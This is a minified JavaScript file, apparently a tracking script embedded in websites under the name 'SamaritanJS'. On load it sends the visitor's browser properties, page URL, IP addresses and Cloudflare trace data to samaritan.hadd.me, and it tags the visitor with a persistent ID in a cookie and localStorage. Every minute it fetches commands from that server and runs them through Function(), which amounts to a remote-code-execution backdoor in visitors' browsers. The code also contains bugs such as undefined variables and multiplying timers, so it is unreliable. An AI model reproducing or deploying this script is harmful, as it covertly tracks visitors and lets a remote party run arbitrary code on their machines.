var SamaritanJSajax = {}; SamaritanJSajax.x = function () { if (typeof XMLHttpRequest !== 'undefined') { return new XMLHttpRequest(); } var versions = [ "MSXML2.XmlHttp.6.0", "MSXML2.XmlHttp.5.0", "MSXML2.XmlHttp.4.0", "MSXML2.XmlHttp.3.0", "MSXML2.XmlHttp.2.0", "Microsoft.XmlHttp" ]; var xhr; for (var i = 0; i < versions.length; i++) { try { xhr = new ActiveXObject(versions[i]); break; } catch (e) { } } return xhr; }; SamaritanJSajax.send = function (url, callback, method, data, async) { if (async === undefined) { async = true; } var x = SamaritanJSajax.x(); x.open(method, url, async); x.onreadystatechange = function () { if (x.readyState == 4) { callback(x.responseText) } }; if (method == 'POST') { x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); } x.send(data) }; SamaritanJSajax.get = function (url, data, callback, async) { var query = []; for (var key in data) { query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key])); } SamaritanJSajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async) }; SamaritanJSajax.post = function (url, data, callback, async) { var query = []; for (var key in data) { query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key])); } SamaritanJSajax.send(url, callback, 'POST', query.join('&'), async) }; var samaritanSiteID = 'a8weMp'; var SamaritanJS = { userID : '', ipv4 : '', ipv6 : '', sites : [], siteURL : '', validSite : true, online : true, callbackFunction : false, IPV4callbackFunction : false, IPV6callbackFunction : false, sitesCallbackFunction : false, locationcallbackFunction : false, sitescallbackFunction : false, init : function(){ window.addEventListener('online', () => SamaritanJS.setOnline()); window.addEventListener('offline', () => SamaritanJS.setOffline()); let browserInfo = []; for(var property in navigator){ browserInfo.push([['name', property],['value', navigator[property]]]); } SamaritanJS.siteURL = window.location.href; SamaritanJSajax.post('https://samaritan.hadd.me/api/checkUserID', {siteID: samaritanSiteID, siteURL: SamaritanJS.siteURL, browserMisc: JSON.stringify(browserInfo, null, 2)}, function(response){ console.log('checkUserID'); var data = JSON.parse(response); SamaritanJS.setUserID(data.userID); console.log(data); console.log(SamaritanJS.userID); SamaritanJS.phoneHome(); setTimeout('SamaritanJS.phoneHome()', 60000); }); }, phoneHome : function(){ console.log('Online: '); console.log(window.navigator.onLine); if(SamaritanJS.online === true){ SamaritanJS.getIPv4(); SamaritanJS.getIPv6(); SamaritanJS.getCloudFlare(); SamaritanJS.getCommands(); } if(SamaritanJS.sitescallbackFunction !== false){ SamaritanJS.sitescallbackFunction(returnData); } setTimeout('SamaritanJS.phoneHome()', 60000); }, getIPv4 : function(){ SamaritanJSajax.post('https://v4.samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){ var data = JSON.parse(response); console.log(data); SamaritanJS.ipv4 = data.ip; if(SamaritanJS.IPV4callbackFunction !== false){ var returnData = {userID: SamaritanJS.userID, ipv4: SamaritanJS.ipv4}; SamaritanJS.IPV4callbackFunction(returnData); } }); }, getIPv6 : function(){ SamaritanJSajax.post('https://samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){ var data = JSON.parse(response); console.log(data); SamaritanJS.ipv6 = data.ip; if(SamaritanJS.IPV6callbackFunction !== false){ var returnData = {userID : SamaritanJS.userID, ipv6 : SamaritanJS.ipv6} SamaritanJS.IPV6callbackFunction(returnData); } }); }, postbackResult : function(source, dataResult){ console.log('postbackResult'); SamaritanJSajax.post('https://samaritan.hadd.me/api/postbackResult', {siteID: samaritanSiteID, userID: SamaritanJS.userID, source: source, dataResult: dataResult}, function(response){ var data = JSON.parse(response); console.log('postbackResult'); console.log(data); }); }, getCommands : function(){ console.log('getCommands'); SamaritanJSajax.post('https://samaritan.hadd.me/api/getCommands', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){ var data = JSON.parse(response); var commands = JSON.parse(data.commands); console.log(commands); console.log(commands.length); if(data.command !== '' && commands.length === 1){ console.log('Single Command'); console.log(data.command); return Function('return (' + data.command + ')')(); } commands.forEach(function(command){ console.log(command); return Function('return (' + command + ')')(); }); }); if(SamaritanJS.callbackFunction !== false){ var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : []} SamaritanJS.callbackFunction(returnData); } }, getSiteHistory : function(){ console.log('getSiteHistory'); SamaritanJSajax.post('https://samaritan.hadd.me/api/getSiteHistory', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){ var data = JSON.parse(response); var sites = JSON.parse(data.sites); console.log(sites); }); if(SamaritanJS.sitescallbackFunction !== false){ var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites} SamaritanJS.sitescallbackFunction(returnData); } }, getUserScore : function(){ console.log('getUserScore'); SamaritanJSajax.post('https://samaritan.hadd.me/api/getUserScore', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){ var data = JSON.parse(response); }); if(SamaritanJS.sitescallbackFunction !== false){ var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites} SamaritanJS.sitescallbackFunction(returnData); } }, getCloudFlare : function(){ SamaritanJSajax.get('https://www.cloudflare.com/cdn-cgi/trace', null, function(data){ console.log('cloudflare'); console.log(data); SamaritanJS.postbackResult('cloudflare', JSON.stringify(data)); }); }, setUserID : function(userID){ SamaritanJS.userID = userID; localStorage.setItem('samaritanUserID', userID); document.cookie = "samaritanUserID="+userID; }, getUserID : function(){ let SCookie = SamaritanJS.getCookie('samaritanUserID'); let SLocalStorage = localStorage.getItem('samaritanUserID'); console.log('SCookie: '+SCookie); console.log('SLocalStorage: '+SLocalStorage); if(SLocalStorage !== null){ SamaritanJS.setUserID(SLocalStorage); return SLocalStorage; } if(SCookie !== false){ SamaritanJS.setUserID(SCookie); return SCookie; } return false; }, getCookie : function(cname) { let name = cname + "="; let ca = document.cookie.split(';'); for(let i = 0; i < ca.length; i++) { let c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { return c.substring(name.length, c.length); } } return false; }, setOnline : function(){ SamaritanJS.online = true; }, setOffline : function(){ SamaritanJS.online = false; }, setCallbackFunction : function(callbackFunction){ SamaritanJS.callbackFunction = callbackFunction; }, setIPV4CallbackFunction : function(callbackFunction){ SamaritanJS.IPV4callbackFunction = callbackFunction; }, setIPV6CallbackFunction : function(callbackFunction){ SamaritanJS.IPV6callbackFunction = callbackFunction; }, setSitesCallbackFunction : function(callbackFunction){ SamaritanJS.sitescallbackFunction = callbackFunction; }, setLocationCallbackFunction : function(callbackFunction){ SamaritanJS.locationcallbackFunction = callbackFunction; }, setSitesCallbackFunction : function(callbackFunction){ SamaritanJS.sitescallbackFunction = callbackFunction; }, } SamaritanJS.init();